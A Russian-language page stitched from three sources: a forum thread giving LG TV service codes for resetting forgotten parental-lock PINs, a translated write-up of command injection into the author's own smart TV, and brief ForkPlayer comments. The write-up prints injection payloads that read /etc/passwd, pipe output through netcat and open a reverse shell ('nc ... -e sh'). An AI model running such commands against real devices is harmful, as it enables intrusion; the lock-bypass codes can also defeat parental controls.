Как мне взломать мой телевизор LG

Если забыт пароль блокировки, сброс/установка пароля

Помощь новичкам, часто задаваемые вопросы и ответы по телевизорам LG Smart TV на webOS. Новичкам читать обязательно.

Сообщений: 34 • Страница 1 из 4 • 1 , 2 , 3 , 4

Если забыт пароль блокировки, сброс/установка пароля

tessi » 28 сен 2014, 18:19

По умолчанию во всех телевизорах LG выставлен заводской PIN-код – 0000

Сброс пароля в телевизорах LG 2014 — 2017 годов на webOS 1.0 — 3.5:
1) Открыть Настройки — Расширенные настройки — Безопасность — Сброс Пин-кода
2) Ввести один раз пароль неправильно, не нажимая кнопку «ОК» для подтверждения пароля.
3) Нажать последовательно кнопки переключения каналов: Вверх — Вверх — Вниз — Вверх и ввести код 0313, нажав в конце кнопку «ОК».
После этих процедур пароль, какой бы он ни был, сменится на «0000». Заходим в меню «Код родительского контроля» и набираем 0000, и всё.

Сброс пароля в телевизорах LG 2018 года и выше на webOS 4.0 и выше:

Root права и сторонние приложения в одну кнопку для тв LG


1) Открыть Настройки — Расширенные настройки — Безопасность. Выделить верхний пункт «Блокировка по возрасту», но не нажимать его.
2) Нажать последовательно кнопки переключения каналов: Вверх — Вверх — Вниз — Вверх. Высветится специальное окно «ОСНОВНОЙ ПАРОЛЬ», туда вводим 0313 и жмём «ОК». Пароль будет сброшен на стандартный 0000.

Для старых тв с ОС Netcast: если в телевизоре не обновлялось программное обеспечение, то сбросить пароль можно с помощью комбинации «0325». Т. е. заходим в Настройки — Блокировка — когда телевизор предлагает ввести пароль, вводим цифры 0325. После этого телевизор предлагает ввести новый пароль и подтвердить его. Нужно придумать новый пароль и ввести его 2 раза подряд.
Если же программное обеспечение обновляли, то для сброса пароля телевизора необходимо зайти в Настройки, выбрать пункт «Блокировка», телевизор попросит ввести пароль. Пользователю же необходимо на пульте три раза подряд нажать кнопку MUTE, затем ввести цифры 129472. После этого телевизор попросит ввести новый пароль, затем подтвердить его. Нужно придумать пароль из четырех цифр и ввести его два раза подряд.

Если не поможет даже это, то нужен смартфон или планшет на Андроид с ИК-портом (например Samsung Galaxy S4, S5, S6 или планшет Samsung Tab):

После установки и запуска приложения «AnyMote Universal Remote +WiFi» https://play.google.com/store/apps/deta . motefairy4 надо сделать поиск «LG SERVICE», выбрать значок LG SERVICE и нажать «Download». Потом выбрать второй экран на пульте, проведя пальцем влево, и нажать на кнопку IN STOP , направив смартфон в сторону тв. Затем ввести в тв пароль 0413, используя обычный пульт от тв. Произойдет полный сброс настроек тв.

Также сбросится наработка часов включенного тв. Её можно посмотреть в сервисном меню «IN START» — пункт UTT.

Еще по теме:  Выключать ли телевизор при грозе

Как очистить память в смарт телевизоре LG SAMSUNG smart tv


Если не работает, то используйте приложение «MyRemocon (IR Remote Control) » https://play.google.com/store/apps/deta . emoconlite
Инструкция та же, только надо прокрутить скачанный пульт вниз, проведя пальцем вверх, и внизу появятся пять серых кнопок, среди которых будет и IN STOP.

Второй способ — это подать специальный сигнал с помощью ИК-диода от обычного пульта:

Аккуратно разобрать любой пульт. Накинуть проводки отдельно на каждую ножку ИК-диода, а другие концы вставить на выход музыкального центра или активной колонки ПК.

Запустить циклично (включить автоповтор в аудиоплеере) музыкальный файл IN_STOP_.wav из архива https://mega.nz/#!i45xkCjQ!itzsjCMlBz3J . a2-CWb6mQM , поднести ИК-диод к тв на расстоянии 10-15 см и постепенно увеличивать громкость, пока не появится окно ввода пароля. Затем ввести в тв пароль 0413, используя обычный пульт от тв. Произойдет полный сброс настроек тв. Также сбросится наработка часов включенного тв. Её можно посмотреть в сервисном меню «IN START» — пункт UTT.

Последний раз редактировалось tessi 20 апр 2020, 12:56, всего редактировалось 76 раз(а).

За это сообщение автора tessi поблагодарили: 3 Архивариус (04 ноя 2015, 16:08), Андрей Л (23 мар 2022, 10:47), серый (14 июн 2015, 20:44)

Если забыт пароль блокировки, сброс/установка пароля

Спонсор » 28 сен 2014, 18:19

Реклама показывается только незарегистрированным пользователям. Войти или Зарегистрироваться

Re: Сервисное (инженерное) меню на телевизорах LG

Nikeware » 14 май 2015, 00:58

Возможно плохо искал. Прошу заранее прощения.
Нужно сброситьвосстановить родительский пароль (parental PIN) на LG 42LB656V-ZN.

В EZ_ADJUST или IN_START меню я попасть смог (с помощью пары светодиодов ). Но в моём случае, насколько я понял, нужно попасть в Installation menu. А вот именно с этим у меня загвоздка. Не знаю как.

Re: Забыли пароль блокировки?

Nikeware » 14 май 2015, 12:59

Рецепт из первого сообщения к сожалению не помогает .
Про трехкратное нажатие MUTE я уже встречал где-то на форумах в интернете. Правда там был другой код (четырехзначный).

Изображение

Настройки на телевизоре выглядят у меня так.

Может нужно с конкретным пунктом меню пробовать предложенную Вами комбинацию?
Ведь попасть на ввод пин-кода можно с разных «точек».

Re: Сервисное (инженерное) меню на телевизорах LG

tessi » 14 май 2015, 13:13

Nikeware
Пробуйте IN STOP.
Последний раз редактировалось tessi 19 ноя 2016, 09:24, всего редактировалось 3 раз(а).

Re: Сервисное (инженерное) меню на телевизорах LG

nmb1974 » 14 май 2015, 13:19

Пароль для входа в сервисное меню «0000» (для телевизоров 2009 модельного года с прошивкой до 3,65 включительно) или «0413» (для телевизоров 2009-го года с прошивками 3,66 и новее и всего 2010-го модельного года) не знаю поможет Вам или нет но по этим паролям я на старом телике 2012 г. в свое время включал воспроизведение видео через USB

Re: Сервисное (инженерное) меню на телевизорах LG

tessi » 14 май 2015, 13:34

Nikeware писал(а): Но в моём случае, насколько я понял, нужно попасть в Installation menu. А вот именно с этим у меня загвоздка. Не знаю как.


С чего вы взяли, что вам нужно Installation menu ?

Re: Забыли пароль блокировки?

Nikeware » 14 май 2015, 14:14

Если не поможет даже это, то почитайте тут Сервисное (инженерное) меню на телевизорах LG про «IN STOP».

Пришлось сбросить через «IN STOP».

Еще по теме:  Можно ли повесить телевизор над аквариумом

Спасибо за помощь!

Re: Если забыт пароль блокировки, сброс/установка пароля

strelok_80 » 20 апр 2016, 19:10

Помогите все перепробовал по инструкциям выше ничего не помогает.
ТВ — LG 42LF652V прошивка Версия ПО 04.00.90, забыл PIN, как можно его сбросить.

Re: Если забыт пароль блокировки, сброс/установка пароля

tessi » 20 апр 2016, 19:39

strelok_80
«IN STOP» пробовали?

Re: Если забыт пароль блокировки, сброс/установка пароля

strelok_80 » 20 апр 2016, 19:43

tessi писал(а): strelok_80
«IN STOP» пробовали?

Нет не пробовал.

Источник: webos-forums.ru

Взлом Smart TV через внедрение команд

Запуск команд в телевизоре

Я не мог поверить, что смог внедрить команду после первой же попытки. Замирание меню не было стопроцентным доказательством и в целом не столь полезно, если мы ведем речь об эксплуатации уязвимости. В моем распоряжении был 31 символ (минус две одинарные кавычки), полезная нагрузка должна быть не более 29 знаков.

Ниже показан список команд, которые я пытался запустить в моем телевизоре. Напротив каждой команды дается пояснение и результат запуска (успешно/неудачно).

Описание

Количество символов

Успешный запуск

`which nc sleep 2`

which – команда в Linux, возвращающая путь к приложению (если приложение существует)

sleep 2 – заморозка меню на 3*2 секунды, если после выполнение команды which найдена утилита nc (в телевизоре)

`which ssh sleep 2`

Проверка, присутствует ли утилита ssh

`which wget sleep 2`

Оказалось, что присутствует утилита wget

`cat /etc/passwd sleep 2`

Проверяем, доступен ли файл /etc/passwd на чтение. Оказалось, что да (было бы очень странно, если нет)

`cat /etc/shadow sleep 2`

Если у нас есть права суперпользователя, файл /etc/shadow доступен на чтение. Проверяем, есть ли у нас права суперпользователя. Однако файл оказался недоступным для чтения.

`ls /etc/shadow sleep 2`

Получаем объяснение, почему файл /etc/shadow не доступен на чтение. Этого файла не существует.

Далее нужно было подсоединить телевизор к ноутбуку через сетевой кабель, но уже сейчас я был доволен тем, что у меня получалось запускать команды в телевизоре лишь при помощи пульта управления.

Получение доступа к шеллу в телевизоре

Мой телевизор крепится к стене, и подключить сетевой кабель оказалось не так просто, как может показаться на первый взгляд. Преодолев некоторые сложности, мне все же удалось подключить кабель к телевизору с одной стороны и к ноутбуку с другой. Далее при помощи утилиты ipconfig я выяснил IP-адрес ноутбука.

Рисунок 2: Сетевые параметры ноутбука

После выяснения IP-адреса ноутбука мне лишь нужно было организовать обратный шелл. Таким образом, не нужно было знать IP-адрес телевизора. Кроме того, обратный шелл удобен тем, что позволяет обходить любые правила фаервола, которые блокируют входящие соединения. Однако перед тем как начать думать о том, как получить шелл, используя 29 символов, я решил по подробнее изучить систему.

Использование Netcat в телевизоре

После того как выяснилось, что в телевизоре есть утилита nc, я решил перенаправить результаты работы определенных команды через nc на мой ноутбук. Первой командой, естественно, стала id, при помощи которой нужно было выяснить, есть ли у нас права суперпользователя в системе телевизора.

Рисунок 3: Результат выполнения команды id

Как видно из рисунка выше, права суперпользователя у нас есть. Сей факт не столь примечателен, но тем не менее. Далее мне захотелось узнать содержимое корневой директории / при помощи команды `ls -la /|nc 169.254.56.216 5`.

Еще по теме:  Что с тнт премьер на телевизоре

Рисунок 4: Содержимое корневой директории

Отлично. Однако у меня до сих пор не было полноценного шелла для выполнения команд. Все возможные варианты не проходили проверку на длину и были не слишком полезными. Однако поскольку версия nc, установленная в телевизоре, поддерживала флаг –e, мне удалось организовать обратный шелл при помощи команды `nc 169.254.213.210 5 -e sh`.

Рисунок 5: Обратный шелл для выполнения команд в телевизоре

Теперь, когда у меня был полноценный шелл, я захотел увидеть результаты своей работы на экране телевизора. Здесь существует несколько возможностей. Например, смена логотипа при загрузке или изменение иконок приложений. Поскольку у меня был Smart TV, уже было установлено несколько программ, например, Youtube и Skype.

Рисунок 6: Приложение, предустановленные в телевизоре

Я заметил, что большая часть файловой системы была доступна только для чтения, и мне не удалось поменять логотип. Однако там были часто меняющиеся картинки, например, рамки превью, которые можно наблюдать при переключении каналов телевизора. Эти превью содержат снимки программ, идущих в тот момент, когда мы переходим в канал. Совершенно очевидно, что данные картинки сохраняются в месте, доступным для чтения и записи файлов.
Иконки хранились в файлах .png. Для получение полного списка файлов с расширением .png я воспользовался командой find / -name *.png, однако среди результатов не оказалось файлов, имеющих отношения к картинкам превью. Я проделал тот же самый трюк с файлами .jpg и заметил имена наподобие channelImage123.jpg. После загрузки нужных файлов и замены файлов, в имени которых содержится строка channelImage, я получил следующий результат.

Рисунок 7: Экран телевизора с обновленными картинками

Ваш телевизор не настолько умен, как вы думаете

Устройства, подключенные к интернету, могут иметь уязвимости в самых неожиданных местах. Там, где вы ожидаете меньше всего. Когда я тестировал команду sleep, то даже не мог и представить, что мой трюк сработает. Первоначально я решил провести свой эксперимент от скуки. Кроме того, я понятия не имел, что мой телевизор работает по управлением ОС Linux, и был еще больше удивлен, что найденные бреши пригодны к эксплуатации.

Данную уязвимость нельзя эксплуатировать удаленно, хотя что-то подсказывает мне, что я был прав, когда решил не подключать свой телевизор к интернету и не использовал продвинутые функции слишком часто. Я бы не ощущал себя комфортно с мыслью о том, что кто-то может управлять моим телевизором.

Предполагаю, что существует более интересные методы и бреши, пригодные для эксплуатации. Однако, думаю, не стоит добавлять седых волос в том момент, когда телевизор замирает, и ты думаешь, вышло ли устройство из строя или нет. В конце концов, телевизор предназначен для расслабления, а не для повышения кровяного давления, за исключением тех случаев, когда вы смотрите спортивные мероприятия. Например, футбол.

Узнали что ваши персональные данные в чужих руках?

Присоединяйтесь к нашему ТГ каналу и узнайте, как наказать виновных .

Источник: www.securitylab.ru

Как взломать телевизор samsung, lg, ForkPlayer способ второй

Как взломать телевизор samsung, lg, ForkPlayer способ второй

Не подскажите , почему YouTube на Fork Player стал загружаться очень медленно ? Можно сказать вообще не загружается видео. Данная проблема у многих, моих знакомых. Меняли сервер, чистили память , перегружали, ничего не помогает. Телевизор Самсунг до 2017г.

Богдан Ковальчук
2021-07-30 21:50:51

Не правильні відомості.

Колесим по Латвии. С музыкой. . .
2021-06-29 20:09:17

Вполне все официально. И после обновления не слетает. И пингвинчик не нужен.

Источник: donartv.ru

Оцените статью
Добавить комментарий